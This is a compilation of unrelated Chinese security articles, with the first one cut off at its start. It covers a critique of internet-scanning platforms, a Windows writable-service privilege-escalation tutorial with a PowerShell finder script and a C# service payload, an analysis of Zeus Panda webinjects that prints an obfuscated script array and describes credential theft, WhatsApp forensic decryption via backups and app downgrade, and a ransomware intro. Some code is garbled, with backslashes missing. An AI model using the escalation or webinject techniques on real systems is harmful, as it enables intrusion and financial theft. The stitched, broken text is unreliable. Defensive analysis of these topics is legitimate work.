1）网络资产数：通俗一点就是数据记录条数，技术一点就是用什么作为存储的key键值。不同的平台实现的机制并不一致，比如shodan是按照ip:port存储，fofa和zoomeye是按照host:port存储，360的quake平台是根据ip:port:date存储。因为shodan选择的是只针对ip层面进行分析，所以他们直接放弃了主机域名的分析，一个ip可以对应任意多个域名，在以前的一些文章我已经说明了，为什么用shodan做针对某个企业的互联网暴露面梳理效果比较差。其他平台都采用了网站域名的分析，数据量差别比较大，目前fofa的主机域名数暂时上来说优势还是有一点的。基于host:port的方式会存储两个数据存储：一个叫热数据，比如昨天发现了1.1.1.1:80，今天又发现了，在你热数据中会发生覆盖，只会有一条最新的；另一个叫冷数据或者叫历史数据，大家按名字理解就好。quake平台稍微特殊，由于加入了date作为key，会导致一个ip的一个端口，你可以查询出来多条数据。
2）独立IP数：基于上面的说法，大家就知道，记录数不代表ip数，一个ip开了多个端口，就对应多条记录。大家通常对ip比较理解，所以fofa在你搜索的时候会明确告知你聚合后的ip总数有多少。在shodan，你直接查询一个端口比如port:80它给出来的统计数据其实就是准确的ip个数，其他平台大家可以自行分析方法。在硬件（物联网或者服务器）领域，IP和硬件是一一对应的，但是在软件应用领域，一个IP可以承载任意多个应用，这也就是我们俗称的攻击点。
3）指纹规则数：一条指纹规则简单来说就是能够用于识别某一类设备或者软件的查询语句。这是fofa最先发明的，早期各平台都是内嵌了简单的一些设备识别库，也不提供html等大文本的关键字检索，所以用户无法自定义和保存。fofa一开始的设计理念就是用户更懂场景，所以要放开这种方法，让用户来自定义识别的语法，然后可以保存下来方便后续使用。最初我们叫应用规则库，后来慢慢叫法就多了，有叫指纹库的，也有叫规则集的，还有叫软硬件识别库的。一条指纹可以对应任意多条设备。目前论指纹规则库，fofa还是有一点点的优势的。
4）特定规则集匹配的网络资产数：如上所述，一个规则查询的结果其实就是匹配的网络资产数，所有指纹规则库匹配的网络资产数基本就是全库了。
如果上面说的还是难以理解，我们通过上图这个非常简单的示例来说明：我们尝试搜索互联网中开放的Apache网站服务器数量，我们可以在fofa中检索app=”APACHE-Web-Server”，这时返回的11675万代表了互联网中存在的所有使用了这个服务器的资产数，其中网站和协议是可以有重合的，分别对应7442万和4232万，因为一个80端口在协议中是存在的，但是它可能假设多个域名。独立ip只有2916万，是因为一个ip的apache服务器可以绑定到多个端口。
回到上面的那张对比图，就是一个非常有意思的结果了：shodan对应4亿，zoomeye对应11亿，fofa对应27万。我相信每一条数据作者都是经过思考和挑选的，只是没能梳理清楚，到底是全网的网络资产数，还是独立IP数，还是指纹规则库的数量，以及特定规则集匹配的网络资产数，甚至是可能没有分清是热数据还是包含了历史数据。如果不在一个维度来对比，也就没有太大的参考价值。
另外，值得强调的是，哪怕是在一个维度进行对比，单纯的对比数据也存在很大的误导性，比如shodan只拿出一个月的数据作为热数据，老的数据它都不展示（没覆盖的也不显示），quake是把历史数据也展示出来了，所以实际上你可能很难统计出一个公允的结果。我们要考虑一定时间内数据的获取能力（注意必须要考虑一定时间内），要考虑数据的深入性和准确性（比如协议或者规则）。如果没有这些，就必然出现各大平台玩起了刷数据的游戏，乐此不疲。如果shodan隐藏实力，我们向它学习还是有意义的。
## 三）数据抽样测试的参考标准存在差异，直接影响了结果；
这里我必须帮zoomeye说一句话：如果作为互联网使用量最大的http协议一次轮巡需要超过一年时间，基本上这个平台就废了，zoomeye绝对不至于这么不济。censys的周期是对的因为他们的端口数量是最少的所以相对而言周期是最快的，shodan的周期稍微有些偏差，zoomeye和fofa的时间则是存在很大的问题。这几个协议是互联网用的最多的协议的前几名，数量大变化快，能够很好的用户实战体系中，所以各家都比较重视，不会存在不抓取的情况。
在图中出现了“-”说明没有扫描数据，而shodan和censys有，我大胆地推测拿出来的对比测试的IP是以shodan或者censys为主的（这一点我只是个人推测）。由于网络变化太快，一个ip端口上线后快速下线，所以哪怕在一天一次这种极速轮询过程中，一定会出现一些IP刚好只被一个平台抓到，在其他平台都没有抓取到。要举一个反证实在太容易了，比如24.232.7.242这个IP，大家到各平台搜索一下，你会发现这个ip对应的23端口只存在于fofa平台，这仅仅能证明那一天刚好被fofa抓到了，其他平台到它那去的时候23端口已经关闭，但这一定证明不了由此shodan或者censys的扫描频率是“-”。
实际运营过程中，大家会把不同的端口进行分组，一个端口可以存在不同的扫描集群中，比如一个大端口（覆盖大量ip的端口）可能同时并行的存在不同的端口组策略中，并行地进行扫描。又由于大网的端口扫描一定是随机IP的，一定存在30%的网络抖动的，所以依靠一次完成95%的数据相似度根本就不可能。大家会进行多轮不断的轮询尽可能多的覆盖最新的上线资产，那种尝试用nmap实现端口扫描和协议识别的网络空间测绘技术，
我暂时打一个问号，宣称即快还全还准的，内网可以大网很难。
## 四）其他一些细节点；
文章中还有一些点可能值得商榷，比如：
– 协议分类和设备分类是否为同一个概念？
– Domain database这一项提到了只分析了top 100万alexa排名域名的censys，没有提域名存量最多的fofa？
– 探针分布的分析维度？
这些细节的点倒无关痛痒，只是大家对权威论文的理解是分析方法应该经得起公示经得起挑战的，如果存在诸多不明确，容易引起误会。
上面提到了这么多，稍微做一些总结。首先毫无疑问，shodan是第一个开拓者，大家或多或少受它的影响，站在老师傅的肩膀上前行。今天老师傅还是老师傅，我们距离它还有十万八千里，无论是基础的投入，还是数据的严谨性，还是历史存量数据的积累和功能的丰富程度等等，国内的平台暂时都还难以望其项背。我们当然是存在弯道超车的可能性的，我们也看到了很多机会，只是在当前阶段，我们任何一家单方面宣布是世界第一，终究会贻笑大方。这不是一个广告时间，而是一个让我们值得深思的时刻，论实战化的能力，我们距离那些对手还是相去甚远，如果真的需要对攻对防，我们的这些储备真的够了吗？
我们要关注各种数据的对比，根据我们这些年对网络空间测绘的理解，网络空间测绘的技术对比维度，应该聚焦于实战，应当包含如下一些：
1.资产总量（历史存续数据、域名数据等）
2.支持的端口和协议
3.搜索和展示字段数
4.数据更新速度（每周、每月）
5.数据准确度(协议、规则等)
6.协议解析深入度
7.产品规则数
8.活跃用户规模
**我们呼吁相关的部门能够针对网络空间测绘这一个细分领域给予指导，能够出台相关的技术标准和规范。**
一切都是为了满足实战化，以及持续性的常态实战化。针对一些概念和名称进行标准化，针对搜索关键字和语法进行规范化，针对数据的存储格式统一化，对于资产的分类和分层也能归一化。进而制定出对应的技术评判标准，最终引导行业步入健康有序的发展，为国家创造更多更好的技术输出。
◆来源：赵武的自留地
◆本文版权归原作者所有，如有侵权请联系我们及时删除 | 社区文章 |
## 0x00 前言
从DidierStevens的博客学到了一些技巧，本文将要对其中涉及到的技巧进行测试总结，并开源一个powershell脚本，用来寻找可被替换的服务，实现自动化利用。
DidierStevens的博客链接：
<https://blog.didierstevens.com/2017/09/05/abusing-a-writable-windows-service/>
## 0x01 简介
本文将要介绍以下内容：
· 使用c#编写可供Windows服务调用的程序
· psexec的-i参数使用技巧
· sc命令使用技巧
· 通过powershell获取服务对应的可执行文件路径
· 自动化利用脚本开发细节
## 0x02 使用c#编写可供Windows服务调用的程序
可供Windows服务调用的程序需要能够同SCM(Services Control Manager)进行交互，所以在程序编写上需要注意
Didier Stevens在博客中给出了c#开发的模板，代码如下：
using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start("cmd.exe");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}
由于是c#代码，可以直接用csc.exe进行编译
所以在实际使用的过程，不需要提前编译好exe，只需要将cs脚本上传，再使用csc.exe编译成exe即可
## 0x03 sc命令使用技巧
查询所有服务列表：
`sc query`
查询指定服务配置信息：
`sc qc 服务名`
创建服务：
`sc create Test type= own binpath= c:\test\test.exe`
删除服务：
`sc delete 服务名`
## 0x04 通过powershell获取服务对应的可执行文件路径
Didier Stevens在博客中说他朋友找到了一个可写的Windows服务，并且只需要普通用户权限，于是，自然就想到了我们自己能否也找到这个服务
通过sc query能够列举出所有服务名称，再通过sc qc 服务名 查询到该服务对应的可执行文件路径
例如：sc qc eventlog
如下图，eventlog服务对应可执行文件路径为C:\Windows\System32\svchost.exe
可以手动去查找每个服务对应的可执行文件路径，看是否存在符合要求的路径（即普通用户可写的权限）
当然，该过程耗时耗力，最好通过编写程序来实现
在Windows系统下，最简单高效的开发语言还是powershell，于是决定使用powershell来实现自动化判断
但是，sc这个命令不能直接在ps里面运行，ps会把它当作set-content的别名
**解决方法：**
调用WMI来实现，代码如下：
Get-WmiObject win32_service | select Name,PathName
如下图，能够列举服务和对应的可执行文件路径
## 0x05 自动化利用脚本开发细节
下面介绍自动化脚本的开发细节，思路如下：
列举出服务和对应的可执行文件路径后，对每一个路径进行提取，判断该路径是否具有普通用户可写的权限
**1、获取所有可执行文件路径**
`Get-WmiObject win32_service | select Name,PathName`
**2、将可执行文件路径转换为数组**
`$out = (Get-WmiObject win32_service | select PathName)$out|%
{[array]$global:path += $_.PathName}`
数组范围：
$out[0]至$out[($out.Count-1)]
如下图
**3、截取路径,显示单个数组的文件夹**
`$out[0].PathName.Substring($out[0].PathName.IndexOfAny("C"),$out[0].PathName.LastIndexOfAny(""))`
如下图
**4、为了格式统一，将字符串都转换为大写**
`$out[0].PathName.ToUpper().Substring($out[0].PathName.ToUpper().IndexOfAny("C"),$out[0].PathName.ToUpper().LastIndexOfAny(""))`
**5、枚举所有截取过的文件夹**
使用foreach循环：
`foreach ($item in
$out){$item.PathName.ToUpper().Substring($item.PathName.ToUpper().IndexOfAny("C"),$item.PathName.ToUpper().LastIndexOfAny("\"))}``
如下图
也可使用for循环：
`for($i=0;$i -le
$out.Count-1;$i++){$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))}`
`
**6、获取文件夹权限**
`$a=$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))Get-Acl -Path $a |select Owner`
以下三个权限代表管理员权限，不符合要求：
· NT AUTHORITY\SYSTEM
· NT SERVICE\TrustedInstaller
· BUILTIN\Administrators
因此要对其剔除,剩下的权限代表当前用户，对应代码为：
`If($a.Owner -ne "NT AUTHORITY\SYSTEM"){If($a.Owner -ne "NT
SERVICE\TrustedInstaller"){If($a.Owner -ne "BUILTIN\Administrators"){$a.Owner
}}}``
**7、筛选符合条件的服务后，重新查找，找到当前用户权限对应的服务名称和路径**
`Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select
Name,PathName`
**8、如果在系统未找到可利用的服务，脚本会报错，提示不能对 Null 值表达式调用方法**
如下图
使用$ErrorActionPreference="SilentlyContinue"隐藏错误信息，错误信息写入$Error变量
综上，对输出格式进行优化，完整代码如下：
$ErrorActionPreference="SilentlyContinue"$out = (Get-WmiObject win32_service | select PathName)$out|% {[array]$global:path += $_.PathName}for($i=0;$i -le $out.Count-1;$i++){$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny(""))If($a.Owner -ne "NT AUTHORITYSYSTEM"){If($a.Owner -ne "NT SERVICETrustedInstaller"){If($a.Owner -ne "BUILTINAdministrators"){Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,StatusWrite-host Owner: $a.Owner}}}}Write-host [+] All done.
## 0x06 实际测试
**1、手动创建服务Test**
`sc create Test type= own binpath= c:\test\test.exe`
**2、编译生成exe**
using System.ServiceProcess;namespace Demo{public class Service : ServiceBase{protected override void OnStart(string[] args){System.Diagnostics.Process.Start("calc.exe");}}static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }}
保存为test.cs
使用csc.exe编译：
`C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs`
生成test.exe
**3、启动服务**
`sc start Test`
查看进程，能够看到calc.exe进程启动，权限为system，如下图
**4、替换test.exe**
在实际情况，如果没有获得管理员权限，那么无法启动和停止服务
如果不停止服务，就无法直接删除exe，提示拒绝访问
但可以将该文件重命名，相当于变相删除该文件，将新文件再命名为test.exe
`rename test.exe test2.exe`
这样就可以在不停止服务的情况下实现文件替换，如下图
**5、重启服务**
`sc stop Testsc start Test ``
当然，该操作需要管理员权限
**6、psexec的-i参数使用技巧**
由于服务启动的exe为system权限，默认为session 0，而用户界面为session 1，所以看不到启动的exe界面
可通过psexec指定启动exe的session，这样就能获取到程序界面
test.cs修改如下：
`using System.ServiceProcess;namespace Demo{public class Service :
ServiceBase{protected override void OnStart(string[]
args){System.Diagnostics.Process.Start(@"c:testpsexec.exe",
@"-accepteula -d -i 1 calc.exe");}}static class Program { static
void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }}`
停止服务： sc stop Test
删除文件： del test.exe
编译文件： C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs
将psexec保存在c:test
启动服务： sc start Test
此时，能够看到system权限calc.exe的界面，如下图
**7、使用powershell脚本扫描**
如下图，标记出服务命令和可供替换的路径，便于进行替换
该脚本能够自动判断当前系统是否存在可供利用的服务
## 0x07 小结
如果找到了一个普通用户权限可写的Windows服务，对其可执行文件进行替换，那么在服务重启后，就能以system权限执行替换后的文件，可用作提权。
本文开源的脚本可用来自动查找当前系统是否存在普通用户权限可写的Windows服务，站在防御者的角度，也可以用该脚本测试自己的系统。
本文为 3gstudent 原创稿件，授权嘶吼独家发布，如若转载，请注明原文地址：
<http://www.4hou.com/technology/7612.html> | 社区文章 |
# 【木马分析】金融木马：银行木马软件Zeus Panda 的Webinjects分析（part 1）
|
##### 译文声明
本文是翻译文章，文章来源：cyber.wtf
原文地址：<https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
****
我们的母公司 **G DATA** （歌德塔杀毒软件）拥有强大的恶意软件样本自动化处理的基础设施，以用来向AV客户提供最新的安全保护措施。在 **G
DATA** 高级恶意软件分析中，我们已经将这些自动化分析流程整合到我们自己的系统中了，以便向我们的银行客户提供欺诈检测的解决方案。
最近我们观察到感染 **Zeus Panda** 银行木马的用户越来越多，经过一周对 **Zeus Panda**
银行木马样本加密配置文件的分析，我们决定对解密后的配置文件进行详细的研究和分析。由于之前已经有[文章](https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market)对Zeus
Panda银行木马的基本功能做了详细的分析，所以我们将集中精力分析该银行木马的 **webinjects**
文件(该文件中包含更多代码指令用来指明其攻击目标和如何进一步实施攻击操作)，通过对Webinjects的分析让我们发现了一些很有趣的事情，跟其他的恶意软件一样，webinject文件中的JavaScript代码使用了
**混淆技术** 以躲避安全软件的分析，混淆后的内容如下所示：
var _0x2f90 = ["", "x64x6Fx6Ex65", "x63x61x6Cx6Cx65x65", "x73x63x72x69x70x74", "x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74", "x74x79x70x65", "x74x65x78x74x2Fx6Ax61x76x61x73x63x72x69x70x74", "x73x72x63", "x3Fx74x69x6Dx65x3D", "x61x70x70x65x6Ex64x43x68x69x6Cx64", "x68x65x61x64", "x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65", "x76x65x72", "x46x46", "x61x64x64x45x76x65x6Ex74x4Cx69x73x74x65x6Ex65x72", "x44x4Fx4Dx43x6Fx6Ex74x65x6Ex74x4Cx6Fx61x64x65x64", "x72x65x61x64x79x53x74x61x74x65", "x63x6Fx6Dx70x6Cx65x74x65", "x6Dx73x69x65x20x36", "x69x6Ex64x65x78x4Fx66", "x74x6Fx4Cx6Fx77x65x72x43x61x73x65", "x75x73x65x72x41x67x65x6Ex74", "x49x45x36", "x6Dx73x69x65x20x37", "x49x45x37", "x6Dx73x69x65x20x38", "x49x45x38", "x6Dx73x69x65x20x39", "x49x45x39", "x6Dx73x69x65x20x31x30", "x49x45x31x30", "x66x69x72x65x66x6Fx78", "x4Fx54x48x45x52", "x5Fx62x72x6Fx77x73x2Ex63x61x70", "x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64", "x64x69x73x70x6Cx61x79", "x73x74x79x6Cx65", "x6Ex6Fx6Ex65", "x68x74x6Dx6C", "x70x6Fx73x69x74x69x6Fx6E", "x66x69x78x65x64", "x74x6Fx70", "x30x70x78", "x6Cx65x66x74", "x77x69x64x74x68", "x31x30x30x25", "x68x65x69x67x68x74", "x7Ax49x6Ex64x65x78", "x39x39x39x39x39x39", "x62x61x63x6Bx67x72x6Fx75x6Ex64", "x23x46x46x46x46x46x46"];
// ... further script code ...
解密这个脚本后，结果如下所示：
var vars = ["", "done", "callee", "script", "createElement", "type", "text/javascript", "src", "?time=", "appendChild", "head", "getElementsByTagName", "ver", "FF", "addEventListener", "DOMContentLoaded", "readyState", "complete", "msie 6", "indexOf", "toLowerCase", "userAgent", "IE6", "msie 7", "IE7", "msie 8", "IE8", "msie 9", "IE9", "msie 10", "IE10", "firefox", "OTHER", "_brows.cap", "getElementById", "display", "style", "none", "html", "position", "fixed", "top", "0px", "left", "width", "100%", "height", "zIndex", "999999", "background", "#FFFFFF"];
// ... further script code ...
仔细观察这个解密后的脚本，我们可以确定该恶意软件具有以下功能：
1\. 首先检查浏览器版本，以添加针对某浏览器的特定事件侦听器（例如对于Firefox使用 **DOMContentLoaded** 事件）
2\. 设置一些木马软件所需的参数变量，如：
a) botid：受害者系统的唯一标识符
b) inject：加载下一个攻击阶段的URL
3\. 进一步加载并执行针对特定目标（银行）的JavaScript代码，如注入变量中定义的代码等。
事实证明，webinject初始阶段是用一个通用加载器从Web服务器下载针对特定目标的攻击代码。在这种情况下，“目标”是指银行和提供支付服务的提供商。这个推断可能需要进一步的分析，因为当前的webinjects会在多个阶段加载最终的攻击，或许这些webinjects中还包括更多的Zeus
Panda组件。
**
**
**代码分析和示例展示**
****
在下载得到第二阶段的webinject后，我们对文件的实际大小感到很惊讶： **该文件的大小足足有91.8 KB**
。简要分析之后我们发现该webinject包含了很多功能，一些功能是通用的，可以在每个网站上实施攻击操作，其他包括了一些针对具体目标的代码，如特定的HTML属性。例如，webinject使用唯一的id属性来标识目标网上银行的网站信息。在撰写本文时，我们仍在分析该webinject包含的大量功能。现在，我们将要对其基本功能做个简要的概述。
如上图所示，加载针对具体目标的JavaScript后，将调用图1所示的 **init** 函数。首先，该函数会检查是否位于页面顶部，如果没有，则调用
**showpage()** 函数，搜索标识符 **_brows.cap** 并删除此DOM元素（如果存在）。否则调用下一个检查函数 **are()**
，它搜索“登录”，“密码”和“按键”这三个字符串。如果没有找到这些字符串，则调用 **get()**
函数来检查当前用户是否处于登录状态。这是通过检查注销元素是否存在来完成的，只有当用户当前登录时才可用，如果没有，showpage()函数将被调用以完成清理操作。否则，status()函数用于将状态变量设置为字符串“CP”。之后收集的数据通过
**send()** 函数进行过滤。
如果恶意软件找到所有的目标字符串（“登录”，“密码”和“按键”），则会调用下一个函数 **preventDefault()** 和
**stopPropagation()**
（图1的左侧分支）。这将覆盖目标网站默认的表单操作，以收集用户在表单中输入的数据。另外，处理输入按钮的事件被hook，使得无论目标网站的提交方法是如何实现的，用户在表单中输入的数据都会被捕获。
由于此实现在Internet Explorer中不起作用，脚本将检查是否存在cancelBubble事件。如果存在，则调用针对Internet
Explorer的特定代码，其提供与 **stopPropagation()** 函数相同的功能。
收集到用户在表单中输入的数据后，恶意软件会调用 **status()**
函数来设置分支变量。分支变量定义了一旦某个条件满足应该触发哪个动作。在我们的例子（左分支）中，该值被设置为字符串“SL”，该操作伪造假冒的网站，并提示用户该站点存在技术问题已不能再提供网络服务，下图展示了两种伪造站点的示例，图2是德语网站的伪造示例，图3是英语的伪造示例。
图2：德语网站的伪造
图3 英语网站的伪造
然后触发 **send()** 函数以发送收集到的用户数据。
**数据窃取**
****
这个攻击阶段另一个有趣的事情是代码中的“渗出”数据的函数，收集的用户信息被传递给send()函数，此函数将所有收集的数据作为HTTP
GET的参数，并以HTTPS的方式发送到变量 **link.gate**
中定义的PHP服务器。根据我们的分析，针对不同的目标网站，send函数在传输数据的时候可能有不同的参数或者参数的结构有微小的差异。以下列表中列举出了我们目前为止标记到的参数，此列表并不完整，某些参数是可选的。所有参数都以纯文本格式发送到C&C服务器端。
我们打算在后续文章中对发送数据这部分内容做详细的分析，在下面的内容中我们将分析一下Zeus Panda木马软件的管理后台界面。
**详细的管理后台**
****
通过分析webinject代码，我们找到了C&C服务器的后台管理地址。经过更仔细的分析，我们找到了我们正在调查的一个服务器的管理后台界面，如下图所示：
图4 木马软件管理后台
图4显示了木马软件管理员后台的初始画面，一行代表一个受害者的机器，每行包含以下信息：
1.BotId：受攻击系统的唯一标识符
2.活动模块类型
3.条目的工作状态
4.登录凭证（用户名/密码）
5.帐户状态
6.受害者IP地址
7.感染时间戳
8.浏览器版本
9.目标网址（银行）
顶部导航栏列出了一些可用的过滤器，如格式设置，放置区域和进一步的配置设置。
攻击者使用该面板查看新的受害者机器和可用的操作。通过点击条目，攻击者可以查看有关被入侵用户的详细信息。例如，可以显示诸如受害者的帐户余额，可用于转移的金额甚至交易限额的细节。
图5：管理员 – 面板详细视图
**结论**
****
银行木马仍然是网络犯罪分子最有价值的收入来源之一。鉴于这种恶意软件已经被开发和优化了很多年，恶意代码执行过程中遇到的任何错误都会发送到恶意软件作者那里，作者可以根据金融机构实施的任何新的防御措施进行相应的调整。注入的脚步也可以模仿用户的行为，增加填写表单和提交表单动作的延迟，使得其操作更加逼真，更有欺骗性。木马后台管理系统可以使攻击者将全部精力放到操控网络攻击上，而不需要知道详细的技术实现细节，在后续的博客文章中，我们将对webinject脚本攻击的其他功能进行详细的分析。
**Indicators of compromise(IOCs)**
**** | 社区文章 |
# WhatsApp取证技术：如何在未Root的Android设备上解密数据库
##### 译文声明
本文是翻译文章，文章原作者 SalvationDATA，文章来源：blog.salvationdata.com
原文地址：<https://blog.salvationdata.com/2018/02/08/whatsapp-forensics-decryption-of-encrypted-databases-and-extraction-of-deleted-messages-on-non-rooted-android-devices/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
WhatsApp是世界上最受欢迎的智能手机即时通讯应用之一。现如今，全世界各地每月有超过13亿的用户活跃在WhatsApp上，使用该应用进行免费通信（2017年7月份的统计数据）。WhatsApp采用了基于whisper
systems的通信协议，因此即便有人成功拦截通信数据，这种点对点通信数据仍然可以保持安全。显而易见的是，这些通信数据中可能包含调查人员非常关心的与案件有关的重要信息，因此现在WhatsApp已经成为移动取证方面最炙手可热的一个领域。然而众所周知，智能手机的调查取证并没有那么简单。调查人员可能会遇到各种各样的问题（如加密数据库、系统安全机制、消息被删除等等）。因此在本文中，我们会介绍如何解密WhatsApp的加密数据库、如何绕过WhatsApp的加密机制以及如何恢复已删除的WhatsApp消息。
## 二、如何解密WhatsApp数据库
与许多智能手机应用一样，WhatsApp会将数据存放在SQLite数据库文件中。对于Android设备上的WhatsApp来说，两个数据库最为重要，一个是
**msgstore.db** ，包含聊天记录；一个是 **wa.db**
，包含联系人列表。处理这些数据库比较简单，因为WhatsApp具有备份功能，会将数据库备份到SD卡上，无需任何权限（比如root权限）就能访问。然而，安装最新的安全更新后，WhatsApp数据库就会被加密处理，无法再直接分析，给执法调查人员带来极大的挑战。聊天记录、消息记录以及通话记录使用的是AES-256标准，而类似照片、视频等媒体文件没有加密处理。并且WhatsApp的加密方式已经从Crypt5、Crypt7、Crypt8更新到了Crypt12。
那么，此时我们该怎么解密WhatsApp数据库呢？最关键的步骤是获取加密密钥（cipher
key）。当用户首次进行WhatsApp备份时，就会生成加密密钥，密钥永远不会存储在云端，只会保存在智能手机上，而且每个智能手机对应不同的密钥。因此，为了解密数据库，我们首先必须从创建备份时所使用的那台手机上提取加密密钥。加密密钥的具体路径为：`userdata/data/com.whatsapp/files/key`。
根据[SalvationDATA](http://www.salvationdata.com/)数据取证专家的研究结果，我们研发了一种专门的算法，可以使用这个key文件来解密WhatsApp数据库。我们不久后会公布这款工具，将其集成到
[SmartPhone Forensic System（SPF）](http://www.salvationdata.com/spf-smartphone-forensic-system.html)中，让不具备任何计算机编程基础的调查人员能够顺利处理WhatsApp的加密数据库。用户只需导入key文件以及加密的数据库文件，程序就可以自动生成正确的未加密的数据库文件。
## 三、如何绕过WhatsApp加密机制
然而，如果不root设备，想要获取key文件并不会一帆风顺。因此，接下来我们讨论下如何绕过WhatsApp的加密机制。换句话说，如何在不具备root访问权限的前提下提取WhatsApp数据。
key文件以及未加密的数据库始终存储在WhatsApp目录中。如果调查人员可以接触这些文件，那么就能查看当前设备上WhatsApp的通信记录。唯一的问题在于，如果没有root权限，我们无法直接访问这些文件。
在不具备root权限的情况下，有两种方法可以提取WhatsApp数据。
### 1、系统备份&还原
第一种方法是利用Android系统的备份及还原功能。许多Android手机厂商允许用户使用内置的系统应用创建备份。利用这种方式创建的备份存储在SD卡中，没有经过加密处理。因此，执法部门可以使用这种简单的方法访问WhatsApp的通讯记录。
如下图所示，我们可以使用OPPO智能手机来创建WhatsApp的备份。用户可以在Tools文件夹中找到“Backup
Restore”应用，创建新的备份，记得要勾选WhatsApp。
然后，我们就可以在手机的SD卡上找到WhatsApp备份数据。这个备份中包括所有未加密的数据库文件以及WhatsApp的key文件。现在，我们要做的就是使用移动取证工具来分析目标数据库。
### 2、降级备份
另一种方法就是降级WhatsApp应用，降级到不具备加密机制的那个版本。v.2.11.431版的WhatsApp是没有强制使用加密备份的最后一个版本。因此，我们可以在不删除用户数据的前提下将WhatsApp降级到v.2.11.431版，然后使用老版本的WhatsApp创建备份文件，然后提取所需的数据库。
这个过程需要操作人员具备专业技能，并伴随着永久性丢失数据的风险。因此，我们强烈建议用户使用专业的取证工具进行版本降级。
## 四、如何恢复已删除的WhatsApp消息
现在我们已经知道如何从智能机中提取WhatsApp数据库文件，接下来看看如何利用数据库文件，在Android以及iOS设备上恢复已删除的WhatsApp消息。
用户可以通过两种方法来删除WhatsApp的消息。用户可以逐条删除消息，或者使用“clear/delete”聊天按钮一次性删除所有消息。根据我们的测试结果，不论用户使用哪种方式删除消息，我们都可以使用下面的方法进行恢复。
前面我们提到过，WhatsApp使用SQLite数据库来存储消息。与Android系统不同的是，iOS系统会将WhatsApp相关的所有数据存放在ChatStorage.sqlite这个数据库中。这些数据库文件通常会附带后缀为”-wal”的缓存文件。大多数情况下，这些缓存文件的大小为0，但如果这些缓存文件的大小不为0，那么就可能包含尚未存储在数据库中的重要数据。一旦出现这种情况，我们必须谨慎处理，因为如果我们不在意这些缓存文件，那么存放在其中的信息可能就会被覆盖掉，永远无法找回。
根据我们的分析，可以正常访问的WhatsApp消息存储在 **msgstore.db** 中，而已删除的消息存放在 **msgstore.db-wal**
中，这个文件正是消息的缓存文件。WhatsApp始终会把消息先存放在缓存文件中，然后再保存到真正的数据库中。
有趣的是，有些时候缓存文件会比数据库文件更大。这是因为一条消息只能以单条记录存放在数据库中，但缓存文件中并没有这种限制。一条消息可能同时存在多条记录。因此，我们有机会能恢复已删除或者已丢失的WhatsApp消息。
然而，为了避免覆盖缓存文件中已有的数据，在正确处理缓存文件之前，我们不能直接打开数据库文件。我们必须先处理缓存文件，匹配特征，然后保存并分析缓存文件中的所有数据。
以“this is a test message”这条消息为例。当用户删除这条消息时，该消息对应的那条记录通常也会从 **msgstore.db**
中删除。
然而， **msgstore.db-wal** 缓存文件中可能还保留这条消息的一些记录。“This is a test
message”这条消息被删除前后的情况如下图所示。我们可以看到，当该消息被删除后，相关数据仍然保存在缓存文件中，并且记录的偏移位置也保持不变。
因此，通过分析并提取 **msgstore.db-wal**
缓存文件中的数据，我们给出了恢复已删除或已丢失的WhatsApp消息的一种方法。前面提到的这种方法可以有效并可靠地提取出已删除的WhatsApp数据，也是恢复已删除消息和已清空聊天记录的完美解决方案。
## 五、总结
根据SalvationDATA数字取证专家的研究结果，我们可以在未Root的Android设备上解密WhatsApp的加密数据库，并且也能在Android以及iOS设备上恢复已删除的WhatsApp消息。提醒一下，前面提到的所有技术及解决方案已经或者即将公布，会集成到[SmartPhone
Forensic System（SPF）](http://www.salvationdata.com/spf-smartphone-forensic-system.html)中。希望本文能进一步帮助DFIR（数字取证与应急响应）社区处理移动设备，收集尽可能多的数字证据。后面我们会为大家提供更多实用的数字取证方案。 | 社区文章 |
就在11月28日，又一起勒索事件出现 ——
旧金山MUNI城市捷运系统受到勒索加密勒索软件攻击，所有的售票站点都显示出“你被攻击了，所有数据都被加密“，攻击者发出公告索要100比特币，也就是70000多美元。
勒索软件不管对个人网络用户和企业用户来说,是个越来越显严重的犯罪问题。受影响的客户包括中小企业的业务信息系统，甚至包括个人终端，移动设备。据美国FBI的一份报告显示，2016年，勒索软件的非法收入可能达到10亿美元。这一巨大的收入数字，很大一部分都是由企业缴纳的赎金组成。
当用户因为勒索软件导致业务中断，企业通常会认为支付赎金是取回数据最划算的办法。但尴尬的是，这些支付出去的赎金，通常会被直接用于下一代勒索软件的开发。所以很多企业正在无奈地用“金钱浇灌着勒索软件的花朵”。正因如此，勒索攻击正以惊人的速度不断发展，勒索软件家族也正在不断的进化。
勒索事件之所以如此可怖，是因为它不像一般攻击事件，其发起者只想访问数据或者获取资源，勒索者有时既想要数据，更要钱。这也是为什么在很多勒索事件中，受害者被骗取了钱财，但未拿回自己的数据。
